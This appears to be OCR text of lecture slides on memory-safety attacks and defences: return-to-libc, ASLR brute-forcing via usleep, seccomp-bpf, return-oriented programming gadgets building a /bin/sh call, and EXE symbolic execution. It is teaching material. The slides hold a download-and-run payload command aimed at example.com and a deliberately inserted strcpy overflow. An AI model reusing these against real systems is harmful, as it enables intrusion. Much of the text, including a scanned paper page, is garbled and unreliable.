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RECALL OUR CHALLENGES

How can we make these even more difficult?

» Putting code into the memory (no zeroes)
Canaries

* Getting %eip to point to our code
Non-executable stack

* Finding the return address (guess the raw address)
Address Space Layout Randomization (ASLR)
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Shortcomings of ASLR

* Introduces return-to-libc atk
* Probes for location of usleep

e On 32-bit architectures,
only 16 bits of entropy

* fork() keeps same offsets



RECALL OUR CHALLENGES

How can we make these even more difficult?

» Putting code into the memory (no zeroes)
Canaries

* Getting %eip to point to our code
Non-executable stack

* Finding the return address (guess the raw address)
Address Space Layout Randomization (ASLR)



RETURN TO LIBC

Exploit:  Oracle Buffer Overflow. We create a butfer overflow in
Apachesimilar to one fonnd in Oracle 9 [10. 22]. Specifically,
we add the following lines to the function ap_getline() in
http_protocol.c:

char buf[64];

strcpy(buf,s); /* Overflow buffer */



RETURN T0 LIBC

EXPIOit: Oracle Buffer Overflow. We create a butfer overflow in
Apachesimilar to one fonnd in Oracle 9 [10. 22]. Specifically,
we add the following lines to the function ap_getline() in
http_protocol.c:

char buf[64];

strcpy(buf,s); /* Overflow buffer =/

Preferred: strlcpy

char buf[4];
strncpy (buf, “hello!”, sizeof(buf)); buf = {*h’, ‘e’, ‘I’, I’}
strlcpy (buf, “hello!”, sizeof(buf)); buf = {‘h’, ‘e’, ‘1", \0’}




RETURN T0 LIBC
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EXPIOit: Oracle Buffer Overflow. We create a butfer overflow in
Apachesimilar to one fonund in Oracle 9 [10. 22]. Specifically,

we add the following lines to the function ap_getline() in
http_protocol.c:

char buf[64];

strcpy(buf,s); /* Overflow buffer =/

Goal: system(“wget http://www.example.com/dropshell ;
chmod +x dropshell ;

./dropshell”);

Challenge: Non-executable stack

Insight: “system” already exists somewhere in libc



RETURN TO LIBC




RETURN TO LIBC

padding

| text . Oxbdf Oxbdf Oxbdf ...

T buffer

stack frame



RETURN TO LIBC

good
padding guess

| text . Oxbdf Oxbdf Oxbdf ...
T buffer '
stack frame
o




RETURN TO LIBC

good
padding guess nop sled

e oo no no nop ..
T buffer '
stack frame
o



RETURN TO LIBC

good
padding guess nop sled malicious code

| text . Oxbdf Oxbdf Oxbdf ... nop nop nop .. M‘
t buf fer \_
stack frame

elp

o©



RETURN TO LIBC

good
padding guess nop sled malicious code

| text . Oxbdf Oxbdf Oxbdf ... nop nop nop ...| \x0f \x3c \x2f ...
buffer '
stack frame

Selp



RETURN TO LIBC

good
padding guess nop sled malicious code

| text . Oxbdf Oxbdf Oxbdf ... nop nop nop \x0f \x3c \x2f ... I
buffer '
stack frame

Selp

PANIC: address not executable



RETURN TO LIBC

buffer



RETURN TO LIBC




RETURN TO LIBC

T buffer



RETURN TO LIBC

libc

padding arguments

T buffer

Selp



RETURN TO LIBC

libc

How do we guess this address?

padding arguments

T buffer

Selp



RETURN TO LIBC

libc

How do we guess this address?

padding arguments

wget example.com/...

T buffer
How do we ensure these are the args?

Selp



ARGUMENTS WHEN WE ARE SMASHING ZEBP?

buffer

Sa1p & %
c€1pP sEesp oebp leave: mov 3%ebp %esp

pop %ebp

ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING ZEBP?

buffer

Sa1p & %
c€1pP sEesp oebp leave: mov 3%ebp %esp

pop %ebp

ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING ZEBP?

buffer

Sa1p & %
c€1pP sEesp oebp leave: mov 3%ebp %esp

pop %ebp

ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING ZEBP?

buffer

Tebp

leave: ¥ mov %ebp %esp
T pop %ebp
%esp ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING ZEBP?

buffer

S A9 S S
c€1pP sebp%esp leave: mov %ebp %esp

=2 pop %ebp
ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING ZEBP?

buffer

(oYL R o X o
c€1P Oebp s€5P leave: mov %ebp %esp

=2 pop %ebp
ret: pop %eip
At this point, we can’t reliably access local variables



ARGUMENTS WHEN WE ARE SMASHING ZEBP?

buffer

SainD )
c€1P Oebp €SP leave: mov %ebp %esp

pop %ebp
ret: o pop %eip
At this point, we can’t reliably access local variables



ARGUMENTS WHEN WE ARE SMASHING ZEBP?

%eip system:Pppushl %ebp
l movl %esp, %ebp

padding arguments

DEADBEEF wget example.com/...

buffer

ebp Sesp

o

leave: mov %ebp %esp
pop %ebp

ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING ZEBP?

%eip system:Pppushl %ebp
l movl %esp, %ebp

padding arguments

DEADBEEF DEADBEEF wget example.com/...

buffer

ebp sesp

o

leave: mov %ebp %esp
pop %ebp

ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING ZEBP?

%elp system: pushl %ebp
‘ $movl 2esp, %ebp
libc

buffer




ARGUMENTS WHEN WE ARE SMASHING ZEBP?

%elp system: pushl %ebp
‘ $movl 2esp, %ebp
libc

Will expect args at 8 (%ebp)

padding arguments

buffer




ARGUMENTS WHEN WE ARE SMASHING ZEBP?

%elp system: pushl %ebp
‘ $movl 2esp, %ebp
libc

buffer




ARGUMENTS WHEN WE ARE SMASHING ZEBP?

%elp system: pushl %ebp
‘ $movl 2esp, %ebp
libc

buffer

At this point, we can
T reliably access local variables



RETURN TO LIBC

libc

How do we guess this address?

padding arguments

wget example.com/...

T buffer
How do we ensure these are the args?

Selp



RETURN TO LIBC

libc

T usleep() | printf() |EEEM system()

How do we guess this address?

padding arguments

wget example.com/...

T buffer
How do we ensure these are the args?

By prepending 4 byte padding

o\©

eip



INFERRING ADDRESSES WITH ASLR

known delta (by version of libc)

[l o

3 usleep() printf ()

padding arguments

0x01010101

buffer

Selp



INFERRING ADDRESSES WITH ASLR

known delta (by version of libc)

[— AL

3 usleep() printf ()

M system()

Repeatedly guess the address of usleep

padding arguments

0x01010101

buffer

Selp



INFERRING ADDRESSES WITH ASLR

known delta (by version of libc)

[— AL

3 usleep() printf ()

M system()

Repeatedly guess the address of usleep

padding arguments

0x01010101

buffer
seip 0x01010101 = smallest number w/o 0-byte
~ 16 million == 16 sec of sleep

Wrong guess of usleep = crash; retry
Correct guess of usleep = response in 16 sec



INFERRING ADDRESSES WITH ASLR

[— AL

usleep() printf ()

system( )

Repeatedly guess the address of usleep

padding arguments

8 AAAAAAAAAAAAAAAA DEADBEEF DEADBEEF 0x01010101
T buffer
seip 0x01010101 = smallest number w/o 0-byte
‘ ~ 16 million == 16 sec of sleep
Why this works
Every connection causes a fork; Wrong guess of usleep = crash; retry

fork() does not re-randomize ASLR  Correct guess of usleep = response in 16 sec



RETURN TO LIBC

N ————————
- ST ST - S0

How do we guess this address?
By first guessing usleep

padding arguments

wget example.com/...

T buffer
How do we ensure these are the args?

By prepending 4 byte padding



DEFENSE: JUST GET RID OF SYSTEM()?

libc

T buffer
cai system()
°€1pP Idea: Remove any function call that exec ()
(a) is not needed and connect ()

(b) could wreak havoc open( )



RELATED IDEA: SECCOMP-BPF



RELATED IDEA: SECCOMP-BPF

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

* Linux system call enabled since 2.6.12 (2005)

Affected process can subsequently only perform read,
write, exit, and sigreturn system calls

No support for open call: Can only use already-open file descriptors

Isolates a process by limiting possible interactions



RELATED IDEA: SECCOMP-BPF

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

* Linux system call enabled since 2.6.12 (2005)

»  Affected process can subsequently only perform read,
write, exit, and sigreturn system calls

No support for open call: Can only use already-open file descriptors

+ Isolates a process by limiting possible interactions

» Follow-on work produced seccomp-bpf

- Limit process to policy-specific set of system calls,

subject to a policy handled by the kernel
Policy akin to Berkeley Packet Filters (BPF)

»+ Used by Chrome, OpenSSH, vsftpd, and others



RETURN-ORIENTED PROGRAMMING
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1. INTRODUCTION

o precent now sechniguos that nllow o return ini> abe
aztack to ke mounted on wA6 cxocutahles tha: s overy ot
as puwerful as cxde infectica, We thus cemomstrate that
1ke sicoly ceployoe *WIDN" datenoe, whkick rules out 2ode
injoctice. Dot sllows rote-ingo-lbe aunds, 8 ewek lows
usen) than srovicash thooght

Attecks waing our tecaricns call 3¢ Fancticns wheteoonr
In foct, sho uso msirestion saquomsos rom Libo tast recen’t
pleeed there by the asscxrber. This mekes cur antsek ro
silieas to Cefenses that remove certain funcuons frum libe or
change the csoembler's 2ode genceotior. ckoloes.

Lalike proveus aiaske, ours oxkaes o larpe umbae of
shor: Iassruct ea sxquences o bulle gadpets that 2Bow an
bitrear cocvmutasion We show bow 20 i mch gxcenia

“Woek doee whilo ot the Wekzmann Isetizueo of Selenso,
Rebovt, lerneh, seoported by a Kestdanc Bchalars Progras
posihclora Mowly.

Permeission m mabe dginal or Jaxd oovies of all ¢ M 118 week
L OF chscCes B o FETC Adhod. Bae aded L) Sogwer are
wot mmds o diatitetad for proft o comniceinl wnd dat ccrics
S thic revioeard the £2/] cesdonen the u Thoeqy oberwder, tn
sepoblish, £ post on semeny 3 80 red et 0 it saquites pooe spective
perrano on orxd'on & foo
YN Nevder 25-Nowerher 27007, Alroeinia Nipirie 1184
Copyrghtt 2007 ACM GT¥- 1 38595 705 2000018, 55.00,
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iming e sl spanos ae Dol in x e fic Jdab@u os
o€ o libe, srd wo ccajeciure that, becouse of the proper-
Las ol L xBE instruction set, in any subScitly arge bedy
F TR vyeen able vce thew will Fats re v moners that sh
bow the constractioe of sios Jar gadgees  [This <dalm is war
thzain) Our paper mabes thzee mejor ccasributions

L Wz doscribo an offizient algecithm for acalyzicg litc to
recower L0 batractisy coquinoe thal can e used is
ox Mmianch.

2 Udieg sequeasss roxovered ‘rea o particeler wres
of GNU abe, wo doscnbo podacts tant aliow arbitrary
computation, Introdueing mony tochniques thart Iny
ths Boundstice for whas we call, incctiomsly ~clum-
ortealad presremmine.

3 In rokg tiw alene, we prodde swrmg mvicdkaos fir
ox thooiy wd a temalae lor 20w ove gl cxdlee
oir eystore to dotorrmno eaother thov prowade fur
thar suppor:

[3 addition, 2y paper makes sovera’ smaller contrbaies
W implesent a voarneerbeter she bexde 2ol shem how it
zan be usec. \We wndestake a study of e provensece of
ot inftructiona in the versiom of (< we atudy, sexd considor
whe:ner waintended rets toulc be eliminated by complior
wodilfications. Weshow bow e allad ocmiqus fic withis
1as asger milies of reterarintor e techniques.

1.1 Background: Attacks aad Defeuses

Consider an attadker who has discovered a nallocreblity
n e Jrogrem and wishs te axqpkit It Explcitatioe, ie
tals contewt, moars that be satverts the program’s cootrol
how so that & performes setions of his chso: witl #ts o
dertinly. The treditiona. vulnsrabd 4y in this cooteod is the
butter ovartiow ca the stace [1], thoegh rany otwr clases
£ voleenhili oy loon eae condidion’ | axh xe offier e re
flows o the hoap 29, 2, 13, integer averfloes JI4, 12 4L
sl kawat #iricg valncrakilitics 26, 10, I cach cawe, the
aarker must arvom plish tae tasks: ke must find soew way
wasm vert Ll progeian s oontaod Sow froos its oo oaiese,
sl he muss caase the program to act in the mances of kis
Mocong e troditionol stack cmoching oiiacds, on ottacer
sunphtas U Fot Ged by osvrwciting » mtnrn skl as
Lo stk ac that it points b code of his dixeing sache:
tame to the function tha! mxdke the call (Lhough ¢ven in
1ls case cekor echniques can be e, suck s rawe podotor
mrwriy ll-]) He v pletes the weinx! Laxc 'n injget-
ing code into tho seooess mage; the wod fisd retuer address

Shortcomings of removing
functions from libc

 |ntroduces return-oriented
programming

* Shows that a nontrivial amount
of code will have enough code
to permit virtually any ROP
attack



CODE SEQUENCES IN LIBC

Code sequences exist in libc that
were not placed there by the compiler

Two instructions in the entrypoint ecb_crypt are encoded

as follows:
£7 ¢7 07 00 00 00 test $0x00000007, %edi
0f 95 45 c3 setnzb -61(%ebp)

Starting one byte later, the attacker instead obtains

c7 07 00 00 00 Of movl $0x0f000000, (%edi)
95 xchg %ebp, %eax

45 inc %ebp

c3 ret

Find code sequences by starting at ret’s (‘Oxc3’)
and looking backwards for valid instructions



GADGETS

leave: mov 3%ebp %esp

pop %ebp
ret: pop %eip <
Oxdeadbeef
; . > pop %edx
hoesp —» ret




GADGETS

leave: mov 3%ebp %esp

pop %ebp
ret: pop %eip
Oxdeadbeef
%esp — =
. ™ pop Y%edx €=
ret




GADGETS

leave: mov 3%ebp %esp

pop %ebp
ret: pop %eip
%esp — =
Oxdeadbeef
. ™ pop Y%edx €=
ret

2edx now set to Oxdeadbeetf



GADGETS

leave: mov 3%ebp %esp

pop %ebp
ret: pop %eip
%esp — =
Oxdeadbeef
. > pop %edx
ret <=

Effect: sets $edx to 0xdeadbeef



GADGETS

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

leave: mov %ebp %esp

pop %ebp
ret: pop %eip < |
‘ ™ addl (%edx), %eax
] push %edi
ret
. > pop Y%edx
ret
. > ret
5 . *™ pop %edi
Joesp = et
edi
i Tedx

seax 3



GADGETS

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

leave: mov %ebp %esp

pop %ebp
ret: pop %eilp
‘ ™ addl (%edx), %eax
] push %edi
ret
. > pop Y%edx
ret
e > ret
%esp — =
. ™ pop %edi <
ret
edi
i Tedx

seax 3



GADGETS

leave: mov %ebp %esp

pop %ebp
ret: pop %eilp
. ™ addl (%edx), %eax
] push %edi
ret
o . > pop Y%edx
Yoesp — = et ot
. ™ pop %edi <
ret
edi
/ Tedx

seax 3



GADGETS

leave: mov %ebp %esp

pop %ebp
ret: pop %eilp
. ™ addl (%edx), %eax
] push %edi
%esp . ret
. > pop Y%edx
ret
. > ret
. *™ pop %edi
ret «

Sedi

/ sedx

seax 3



GADGETS

leave: mov %ebp %esp

pop %ebp
ret: pop %eilp
. ™ addl (%edx), %eax
] push %edi
%esp — = AL
. > pop Yedx <
ret
o > ret
. *™ pop %edi
ret
edi
/ Tedx

seax 3



GADGETS

leave: mov %ebp %esp

pop %ebp
ret: pop %elp
0 ’ ™ addl (%edx), %eax
/oesp . push %edi
ret
' > pop %edx <
ret
‘ > ret
* *™ pop %edi
ret
2edi
/ sedx 7

seax 3



GADGETS

leave: mov %ebp %esp

pop %ebp
ret: pop %eilp
0 ’ ™ addl (%edx), %eax
/oesp . push %edi
ret
: > pop %edx
ret
‘ > ret
* *™ pop %edi
ret
2edi
/ sedx 7

seax 3



GADGETS

leave: mov %ebp %esp

pop %ebp
ret: pop %eilp
%esp — =
. ™ addl (%edx), %eax
] push %edi
ret
. > pop Y%edx
ret
o > ret
. *™ pop %edi
ret
$edi
i Tedx 7

seax 3



GADGETS

leave: mov %ebp %esp

pop %ebp
ret: pop %eilp
%esp — =
. =P addl (%edx), %eax
] push %edi
ret
. > pop Y%edx
ret
o > ret
. *™ pop %edi
ret
edi
/ Tedx 7

seax 3



GADGETS

leave: mov %ebp %esp

pop %ebp
ret: pop %eilp
%esp — =
. =P addl (%edx), %eax
] push %edi
ret
. > pop Y%edx
ret
o > ret
. *™ pop %edi
ret
edi
/ Tedx 7

seax 10



GADGETS

leave: mov %ebp %esp

pop %ebp
ret: pop %eilp
%esp — =
. ™ addl (%edx), %eax
] =P push %edi
ret
. > pop Y%edx
ret
. > ret
. *™ pop %edi
ret
$edi
/ Tedx 7

seax 10



GADGETS

leave: mov %ebp %esp

pop %ebp
ret: pop %eilp
0/ ’ et addl (%edx), %eax
°esp ] =P push %edi
ret
: > pop %edx
ret
‘ = ret
* *™ pop %edi
ret
2edi
/ sedx 7

seax 10



GADGETS

leave:

ret:

mov %ebp %esp
pop %ebp
pop %elp

%esp — =

——>ret addl (%edx), %eax
push %edi

Sedi

sedx 7

seax 10



GADGETS

next gadget

—— ret « add| (%edx), %eax
push %edi

ret

> pop %edx
ret

> ret

™ pop %edi
ret

Sedi
Sedx 7

seax 10



GADGETS

Effect: adds 7 to $eax

%ﬂﬂ)——*ﬁ

next gadget
. —=ret 4m  add| (%edx), %eax
] push %edi
ret
y > pop Y%edx
ret
. > ret
. *™ pop %edi
ret
$edi
7 o
Tedx 7

seax 10



GADGETS

Effect: adds 7 to $eax

%esp >

next gadget

Had to deal with the
side-effect of push %edi

[ ret 4= | addl (%edx), %eax

push %edi

ret

> pop %edx
ret

> ret

™ pop %edi
ret

Sedi
Sedx 7

seax 10



GADGETS

geax
$ebx
secx

sedx

/sh\0
/bin

- (word to zero)
|24 -
— .

. ™ Icall %gs:0x10(,0)

R ret

. ™ pop %ecx

_ pop %edx

ret
. * pop %ebx
et
. > add %ch, %al
ret
y ™ movl %eax, 24(%edx)
. ret
0x0bOb0ObOb
. ™ pop %ecx
op Y%edx
0/ N . * xor Yeax, Y%eax :.)etp
0€ESP

ret



GADGETS

eax 0
$ebx
secx

sedx

/sh\0
/bin

- (word to zero)
|24 -
— .

. ™ Icall %gs:0x10(,0)

R ret

. ™ pop %ecx

_ pop %edx

ret
. * pop %ebx
et
. > add %ch, %al
ret
y ™ movl %eax, 24(%edx)
. ret
0x0bOb0bOb

. -— 0
0 pop %ecx
/OeSP - pop Yoedx

. * xor Yoeax, %eax ret

ret



GADGETS

eax 0
$ebx
secx

sedx

/sh\0
/bin
- (word to zero)
|24 -
— .
. ™ Icall %gs:0x10(,0)
] ret
. ™ pop %ecx
_ pop %edx
ret
. * pop %ebx
et
. > add %ch, %al
ret
y ™ movl %eax, 24(%edx)
. ret
0x0bOb0ObOb
%esp — =

™ xor %eax, %eax

ret

™ pop %ecx
pop %edx
ret



GADGETS

/sh\0
Teax 0 o
- (word to zero)
%2ebx 124 - =
- T -
o -4
gecx 0x0b0b0ObOb
o . * |call %gs:0x10(,0)
Tedx : “
. ™ pop %ecx
- pop %edx
ret
. * pop %ebx
ret
. > add %ch, %al
ret
. ™ movl %eax, 24(%edx)
. ret
0 B
/0€SP 0x0bOb0bOb
. ™ pop %ecx
op Y%edx
. > xor %eax, Yeax ,‘.)etp ’
ret




GADGETS

geax
$ebx
secx

sedx

0x0b0b0bO0b

/sh\0

/bin

(word to zero)

%esp — =

a
>

* |call %gs:0x10(,0)
ret

@
-

™ pop %ecx
pop %edx
ret

* pop %ebx
et
> add %ch, %al

a
-

0x0ObOb0bOb

et
—— movl %aeax, 24(%edx)
ret

™ pop %ecx
pop %edx

- 0 0
xor Yeax, Y%eax ret

ret



GADGETS

geax
$ebx
secx

sedx

0x0b0b0bO0b

/sh\0

/bin

(word to zero)

%esp — =

a
>

* |call %gs:0x10(,0)
ret

@
-

™ pop %ecx
pop %edx
ret

* pop %ebx
et
> add %ch, %al

ret

a
-

0x0ObOb0bOb

™ movl %eax, 24(%edx)
ret

™ xor %eax, %eax

ret

™ pop %ecx
pop %edx
ret



GADGETS

geax
$ebx
secx

sedx

0x0b0b0bO0b

/sh\0
/bin
0
. * |call %gs:0x10(,0)
- ret
~ pop %ecx
- pop %edx
ret
. * pop Y%ebx
et
0/ . *™ add %ch, %al
oesp - ret
. ™ movl %eax, 24(%edx)
‘ : ret
0x0b0Ob0bOb

™ xor %eax, %eax

ret

™ pop %ecx
pop Y%edx
ret



GADGETS

geax
$ebx
secx

sedx

Oxb

0x0b0b0bO0b

%esp

/sh\0
/bin
0
. * |call %gs:0x10(,0)
- ret
a pop %ecx
- pop %edx
ret
. - %eb
. ﬁ?ﬁex
. > add %ch, %al
ret
. ™ movl %eax, 24(%edx)
) ret
0x0b0b0bOb

™ xor %eax, %eax

ret

™ pop %ecx
pop Y%edx
ret



GADGETS

geax
$ebx
secx

sedx

Oxb

0x0b0b0bO0b

%esp

/sh\0
/bin
0
. * |call %gs:0x10(,0)
- ret
~ pop %ecx
- pop %edx
- ret
. * pop Y%ebx
et
. *™ add %ch, %al
ret
. ™ movl %eax, 24(%edx)
) ret
0x0b0Ob0bOb

™ xor %eax, %eax

ret

™ pop %ecx
pop Y%edx
ret



GADGETS

geax
$ebx
$ecx

sedx

0x0b0b0bO0b

/sh\0
/bin
0
. ™ |call %gs:0x10(,0)
- ret
i . ™ pop %ecx
/oesp - - pop %edx
ret
. - pop %be
et
. *™ add %ch, %al
ret
. ™ movl %eax, 24(%edx)
- ret
0x0b0Ob0bOb

™ xor Y%eax, Y%eax

ret

™ pop %ecx
pop Y%edx
ret



GADGETS

geax
$ebx
$ecx

sedx

0x0b0b0bO0b

/sh\0
/bin
0
. ™ |call %gs:0x10(,0)
- ret
»
~ pop %ecx
- pop %edx
ret
. - pop %be
et
. *™ add %ch, %al
ret
. ™ movl %eax, 24(%edx)
- ret
0x0b0Ob0bOb

™ xor Y%eax, Y%eax

ret

™ pop %ecx
pop Y%edx
ret



GADGETS

geax
$ebx
secx

sedx

/sh\0
/bin
0
‘ ™ lcall %gs:0x10(,0)
- ret
>
~ pop %ecx
- pop %edx
ret
. - pop %be
et
. *™ add %ch, %al
ret
. ™ movl %eax, 24(%edx)
- ret
0x0b0Ob0bOb

™ xor Y%eax, Y%eax

ret

™ pop %ecx
pop Y%edx
ret



GADGETS

geax
$ebx
secx

sedx

/sh\0
/bin
0
. ™ |call %gs:0x10(,0)
- ret
~ pop %ecx
- pop %edx
ret
. - pop %be
et
. *™ add %ch, %al
ret
. ™ movl %eax, 24(%edx)
- ret
0x0b0Ob0bOb

™ xor Y%eax, Y%eax

ret

™ pop %ecx
pop Y%edx
ret



GADGETS

geax
$ebx
secx

sedx

/sh\0
/bin
0
. ™ |call %gs:0x10(,0)
- ret
~ pop %ecx
- pop %edx
ret
. - pop %be
et
. *™ add %ch, %al
ret
. ™ movl %eax, 24(%edx)
- ret
0x0b0Ob0bOb

™ xor Y%eax, Y%eax

ret

™ pop %ecx
pop Y%edx
ret



GADGETS

geax

$ebx
secx

sedx

Effect: shell code

/sh\0
/bin
0
. ™ |call %gs:0x10(,0)
- ret
~ pop %ecx
- pop %edx
ret
. - pop %be
et
. *™ add %ch, %al
ret
. ™ movl %eax, 24(%edx)
- ret
0x0b0Ob0bOb

-

™ xor Y%eax, Y%eax

ret

™ pop %ecx
pop %edx
ret



EVALUATING ROP

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

* What can an attacker do with gadgets?
* |s it Turing complete?

* What code has what gadgets?

More recent variant:
Data-oriented programming:
Use (sufficiently entropic) data regions instead of, e.g., libc



RECALL OUR CHALLENGES

How can we make these even more difficult?

» Putting code into the memory (no zeroes)
Canaries

* Getting %eip to point to our code

Non-executable stack
Insufficient

* Finding the return address (guess the raw address)
Address Space Layout Randomization (ASLR)

Insufficient on 32-bit architecture



EXE: Automatically Generating Inputs of Death
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execution
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« = EXecution generating
Execution (EXE)



Symbolic variables:
1 : #include <assert.h>

2 . int main(void) { Do not run code using them;
; unsigned i, {,a[4] = {1 3,5 2} ‘ ‘
make. symbolio(&i); instead, add them as constraints
if(i >= 4)
exit(0);
// cast + symbolic offset + symbolic mutation
char *p = (char *)a | 1 * 4;
*n = *p — 1; // Just modifies one byte!

-
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7
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10

11: // ERROR: EXF culches potential vverflow 1=2
12: t = a[*p];

ii // At this point i = 2.

15:  // ERROR: EXE catches div by 0 when 1 = 0.
16
17
18
19
20
21
22

L=t / a]i];
S/ At this point: 1 = () 66 1 I= 2.

// EXE determines that neither assert fires.
if(t == 2)
assert(1 == 1);
:  else
23: assert(i == 3);
24: }



Symbolic variables:

1 : #include <assert.h>

2 . int main(void) { Do not run code using them;
3: wunsignedi t, a4 =11 3,5 2§ . .
2. mk‘,fsymbohc(éi)]; ) ' instead, add them as constraints
P if(i >= 4)

6 : exit(0);

7. // cast + symbolic offset + symbolic mutatiaon

8 : char *p = (char *)a | 1 * 4

9: *p=7*p —1; // Just modifies one byte!

10:

11: // ERROR: EXF culches potential vverflow 1=2

12: t = a[*p];

13:  // At this point i I= 2.

14; lstart

15:  // ERROR: EXI catches div by 0 when 1 = 0.

16: =1t / ali; lf

17:  // At this point: 1 I= () 66 1 I= 2. :

| 2 4
19: // EXE determines that neither assert fires. . .
20: if(t —— 2) add(i < 4) add(i = 4)
21: assert(1 == 1);
22: else

23: assert(i == 3);
24: }



Symbolic variables:

1 : #include <assertr.h> .
2 . int main(void) { Do not run code using them;
3: unsignedi t,al4 =41 3,5 2} . .
g make_symbohc(éi)]; ' ' instead, add them as constraints
5: if(i »>= 4)
» exit(0);
7 t + symboli set + boli tats E
G Lot 7, Tymiolic mutation Feasible paths:

: Fp="*p -1, Juzt modifie e bytel .
3. P =7 =L /7 Just modifies ane byte EXE runs every feasible path
11: // ERROR: EXF culches potential vverflow 1=2
12: t = a[*p];
13:  // At this point i I= 2.
14: lstart
15:  // ERROR: EXE catches div by 0 when 1 = 0.
16: =t / ali; lf
17:  // At this point: 1 I= () 66 1 I= 2. i > 4
18: —
19: // EXE determines that neither assert fires. . .
20: if(t —— 2) add(i < 4) add(i = 4)
21: assert(i == 1);
22: else
23:  assert(i == 3); exit
24: }
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Symbolic variables:

: #include <assert.h> .
. int main(void) { Do not run code using them;

unsigned 1, 1, a[4| =11, 3,5, 2 }; . .
ma,ke_symbo]ic(&gi)]; { ' instead, add them as constraints

(i >= 4)
exit(0);
t + symboli set boli tate .
T Yoy oet , qmiokic mutation Feasible paths:

*p = *p — L // Just modifies one byte! :
P=7p =1 /7 Just modifies one byte EXE runs every feasible path

// ERROR: EXFE culches potential vverflow =2
t = a[*p];
// At this point i = 2.

lstart
/) ERROR: EXI catches div by 0 when 1 = 0.
Lt — t / u[i]; if
S/ At this point: 1 = () 66 1 I= 2. i > 4
// EXE determines that neither assert fires. . .
iF(t —— 2) add(i < 4) add(i = 4)
assert(l == 1);
else ~
assert(i == 3); it

In bounds a[*p]
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: #inclhide <asserr.h>
. int main{void) {

unsigned i, t, a[4] = {1, 3,5, 2 }
make_symbolic(&i);
if (i >= 4)

exit(0);
// cast + symbolic offset + symbolic mutation
char *p = (char *)a | 1 * 4;
*n = *p — 1; // Just modifies one byte!

// ERROR: EXFE culches potential vverflow =2
t = a[*p];
// At this point i = 2.

/) ERROR: EXI catches div by 0 when 1 = 0.
t = t / u[i];
// At this point: 1 I= () 66 1 I= 2.

// EXE determines that neither assert fires.
if(t = 2)

assert(1 == 1);
else

assert(i == 3);

exit

In bounds a[*p]

in bnds a[y

yut of bnds a[*p]

memory
overflow
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lstart
1 : #include <assert.h> lf
2 : int main{void) { i > 4
3: unsignedi (,a[4 ={1 3 5 2}
4 :  make_symbaolic(&i); . ©
5. if(i e 4) add(i < 4) add(i = 4)
6 : exit(0);
7  // cast + symbolic offset + symbolic mutation ‘ :
8 : char *p = (char *)a + 1 * 4, : . exit
9: *p=7*p —1; // Just modifies one byte! In bounds a[ P]
10:
11: // ERROR: EXF cualches potential overflow :=2 111 bnds a[’*y yllt of bnds a[*p]
12: t = a[*p];
13:  // At this point i I= 2. :
14:
15:  // ERROR: EXE catches div by 0 when i = 0. ali] == memory
-? v =t / alil; overflow
17: At this point: 1 I= () 86 1 = 2. . .
18: // ! ali] '=0 ali]==
19: // EXE determines that neither assert fires.
20: if(t == 2) .
21: assert(1 == 1); div by
22: else ‘e
23: assert(i == 3); zZero
24: |}
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lstart
1 : #include <assert.h> lf
2 : int main{void) { i > 4
3: unsignedi, (,a4 —=4{1 35 2}
4 :  make_symbaolic(&i); . C
5. if(i e 4) add(i < 4) add(i = 4)
6 : exit(0);
7  // cast + symbolic offset + symbolic mutation ‘ :
8 : char *p = (char *)a + 1 * 4, : . exit
9: *p=7*p —1; // Just modifies one byte! in bounds al P]
10:
11: // ERROR: EXF cualches potential overflow :=2 111 bnds a[’*y yllt of bnds a[*p]
12: t = a[*p];
13:  // At this point i I= 2. :
14:
15:  // ERROR: EXE catches div by 0 when i = 0. ali] == memory
-? v =t / alil; overflow
17: At this point: 1 I= () 86 1 = 2. . .
18: /" ! ali] =0 a[i]==
19: // EXE determines that neither assert fires.
20: if(t == 2) .
21: assert(1 == 1);
22: else

23: assert(i == 3);
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ho
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lstart
1 : #include <assert.h> lf
2 : int main{void) { i > 4
3: unsignedi, (,a4 —=4{1 35 2}
4 :  make_symbaolic(&i); . C
5. if(i e 4) add(i < 4) add(i = 4)
6 : exit(0);
7. // cast + symbolic offset + symbolic mutatiaon :
8 : char *p = (char *)a | i * 4, _ . exit
9: *p=7*p —1; // Just modifies one byte! in bounds al P]
10:
11: // ERROR: EXF cualches potential overflow :=2 111 bnds a[*p out of bnds a[*p]
12: t = a[*p];
13:  // At this point i I= 2.
14:
15:  // ERROR: EXE catches div by 0 when i = 0. ali] == memory
-? v =t / alil; overflow
17: At this point: 1 I= () 86 1 = 2. . .
18: /" ! ali] =0 a[i]==
19: // EXE determines that neither assert fires.
20: if(t == 2) .
21: assert(1 == 1);
22: else

23: assert(i == 3);
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lstart
1 : #include <assert.h> lf
2 : int main{void) { i > 4
3: unsignedi, (,a4 —=4{1 35 2}
4 :  make_symbaolic(&i); . C
5. if(i e 4) add(i < 4) add(i = 4)
6 : exit(0);
7. // cast + symbolic offset + symbolic mutatiaon :
8 : char *p = (char *)a | i * 4, _ . exit
9: *p=7*p —1; // Just modifies one byte! in bounds al P]
10:
11: // ERROR: EXF cualches potential overflow :=2 111 bnds a[*p out of bnds a[*p]
12: t = a[*p];
13:  // At this point i I= 2.
14:
15:  // ERROR: EXE catches div by 0 when i = 0. ali] == memory
-? v =t / alil; overflow
17: At this point: 1 I= () 86 1 = 2. . .
18: /" ! ali] =0 a[i]==
19: // EXE determines that neither assert fires.
20: if(t == 2) .
21: assert(1 == 1);
22: else
23: assert(i == 3);
24: |}

1 <4 &&
in bnds a[*p] &&
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lstart
1 : #include <assert.h> lf
2 : int main{void) { i > 4
3: unsignedi, (,a4 —=4{1 35 2}
4 :  make_symbaolic(&i); . C
5. if(i e 4) add(i < 4) add(i = 4)
6 : exit(0);
7. // cast + symbolic offset + symbolic mutatiaon :
8 : char *p = (char *)a | i * 4, b ds al* exit
9: *p=7*p —1; // Just modifies one byte! In bounds al P]
10:
11: // ERROR: EXF cualches potential overflow :=2 111 bnds a[*}l/ Nllt of bnds a[*p]
12: t = a[*p];
